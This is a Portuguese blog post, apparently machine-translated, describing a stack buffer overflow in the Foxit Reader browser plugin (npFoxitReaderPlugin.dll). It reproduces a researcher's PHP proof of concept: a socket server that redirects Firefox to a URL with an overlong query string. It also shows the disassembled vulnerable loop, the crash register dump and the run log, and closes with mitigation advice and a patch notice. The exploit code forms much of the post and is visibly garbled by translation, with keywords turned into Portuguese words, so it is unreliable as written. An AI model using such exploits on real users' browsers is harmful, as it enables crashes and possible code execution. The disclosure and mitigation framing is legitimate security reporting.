A partir do Adobe Reader X é orientado para a área de segurança de segurança e correções aplicadas e aplicada devido a múltiplas vulnerabilidades descobertas por um exército de beta testersdispostos a abrir as portas para seus artefatos maliciosos. Então, talvez o Foxit Reader não é o inimigo público número um, mas isso não significa mais seguro.
O consultor italiano Andrea Micalizzi, aka rgod , nos lembrou recentemente pela publicação de uma vulnerabilidade que afeta, sim, o plugin do Foxit PDF para o navegador . Ou seja, o erro não está presente no leitor de PDF em si, se não na biblioteca npFoxitReaderPlugin.dll que atua como um intermediário entre o navegador eo Foxit Reader.
Especificamente, o código é vulnerável a um estouro de pilha no processamento de pedidos de ligações longa . A prova de conceito é claro: agora trabalha na versão mais recente do Firefox (18,0) e da última versão do Foxit Reader (5.4.4.1128) com o seu plugin (2.2.1.530).
Vamos olhar para código l de rgod:
<? php * / Foxit Reader <= Plugin para Firefox 5.4.4.1128 overlong npFoxitReaderPlugin.dll Query String remoto Stack Buffer Overflow PoC rgod --------------------------- (Ouvinte) Testado contra Microsoft Windows Mozilla Firefox 17.0.1 Foxit Reader 5.4.3.0920 Foxit Reader 5.4.4.1128 Arquivo: npFoxitReaderPlugin.dll Versão: 2.2.1.530 Url produto: http://www.foxitsoftware.com/downloads/ Arquivo de instalação última versão: FoxitReader544.11281_enu_Setup.exe Uso: Lançamento da linha de comando, em seguida, navegar com o Firefox porta 6666. Você também pode testá-lo através do site: http://192.168.0.1/x.pdf? [A x 1024] Arquivo deve ser existentes ou o servidor deve estar respondendo com o cabeçalho Content-Type adequada. código vulnerável, npFoxitReaderPlugin.dll: , ------------------------------------------------- ----------------------------- L1000162F: empurrar ebx empurrar esi empurrar edi mov edi, ebp ou ecx, FFFFFFFFh xor eax, eax xor ebx, ebx esi xor, esi REPNE SCASB não ecx dezembro ecx teste ecx, ecx jle L100016E4 L1000164A: mov al, [esi + ebp] mov word ptr [esp 18 h], 0000h cmp al, 25h jz L10001661 mov ecx, [esp Ch 1] mov [ebx + ecx], o jmp L100016CE L10001661: mov al, [esi + ebp 01 h] cmp al, 30h jl L1000166D cmp al, 39h jle L1000167D L1000166D: cmp al, 41h jl L10001675 cmp al, 46h jle L1000167D L10001675: cmp al, 61H jl L100016C6 cmp al, 66h jg L100016C6 L1000167D: mov dl, [esi + ebp 01 h] esi inc esi inc leia ecx, [esp +10 h] mov [esp 18 h], dl empurrar ecx mov al, [esi + ebp] lea edx, [esp Ch 1] empurrar L100450D4 empurrar edx mov [esp 25 h], o chamar SUB_L10006421 mov eax, [esp Ch 1] leia ecx, [esp 24 h] empurrar eax empurrar L100450D0 empurrar ecx chamar SUB_L100063CF mov eax, [esp 34 h] mov dl, [esp 30 h] adicionar esp, 00000018h mov [ebx + eax], dl jmp L100016CE L100016C6: mov ecx, [esp Ch 1] mov byte ptr [ebx + ecx], 25h L100016CE: inc ebx mov edi, ebp ou ecx, FFFFFFFFh xor eax, eax esi inc REPNE SCASB não ecx dezembro ecx cmp esi, ecx jl L1000164A L100016E4: mov edx, [esp Ch 1] edi pop esi pop mov eax, 00000001H mov byte ptr [ebx + edx], 00h pop ebx pop ebp pop ecx retn , ------------------------------------------------- ----------------------------- copiar este ciclo termina em substituição ponteiros de pilha, em seguida, (Ao ligar para plugin-container.exe): (F48.1778): violação de acesso - código c0000005 (primeira chance) Exceções de primeira chance são relatados antes de qualquer tratamento de exceção. Essa exceção pode ser esperado e manipulados. eax = 00000341 ebx = 0076ed4c 002cf414 edx = ecx = esi = 41414141 edi = 002cf414 0076e9e8 eip = 10016852 esp = 002cf3f8 ebp = iopl = 0 nv up ei pl 75eacdf8 nz nd po nc cs = 001b ss = 0023 ds = 0023 es = 0023 fs = 003b gs = 0000 efl = 00010202 ! npFoxitReaderPlugin NP_GetEntryPoints 0 x15672: 10016852 8906 mov dword ptr [esi], eax ds: 0023:41414141 =???? ... Tentativa de escrever para tratar 41414141 ... Também ponteiros SEH são substituídas * / error_reporting ( 0 ); set_time_limit ( 0 ); $ Porta = 6666 ; ____ $ Redirecionar = "HTTP/1.1 301 Movido Permanentemente \ r \ n" . "Servidor: Apache \ r \ n" . "Localização:? / x.pdf" . str_repeat ( "A" , 1024 .) "\ r \ n " . Content-Type ": text / html \ r \ n \ r \ n" ; $ ____ Crescimento = "HTTP/1.1 200 OK \ r \ n" . "Servidor: Apache \ r \ n" . "Accept-Ranges: bytes \ r \ n" . "Content-Length: 60137 \ r \ n" . " ": Content-Type application / pdf \ r \ n . "Connection: keep-alive \ r \ n \ r \ n" ; $ Socket = stream_socket_server ( "tcp :/ / 0.0.0.0" . $ port , $ errno , $ errstr ); se (! $ socket ) { ECHO "$ errstr ($ errno) \ n" ; } mais { ECHO "escutando na porta TCP público" . $ port . "\ n" ; enquanto ( $ conn = stream_socket_accept ( $ socket )) { $ linha = fgets ( $ conn ); senhorita
Agora, execute o php (x.php no meu exemplo) a partir da linha de comando do nosso Windows 7:
D : \ xampplite \ htdocs > d : \ xampplite \ php \ php . exe - fx . php Ouvir em público a porta TCP 6666 GET / x . pdf ? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA / 1,1E, finalmente, visam corrigir o endereço e porta no navegador:
Como você pode ver, temos causou o acidente do plugin com despeinarnos pouco ...
Atualmente não há nenhuma atualização para resolvê-lo e outras versões do Foxit Reader e outros navegadores (Firefox, Chrome e Safari) podem ser vulneráveis, por isso é recomendável desabilitar o plugin até novo aviso:

Para desativar arquivos PDF não será aberto diretamente no navegador e será carregado em um novo processo de Foxit Reader, evitando assim o uso do plugin DLL vulnerável.

Fonte: vulnerabilidade reportada no Foxit PDF Plugin para o Firefox - como mitigá-la
Atualização: 18 / 01/2012 : Foxit patches críticos vulnerabilidade no PDF-reader para navegadores http://t.co/SJo63dAW
fonte: hackplayers.com
0 comentários:
Postar um comentário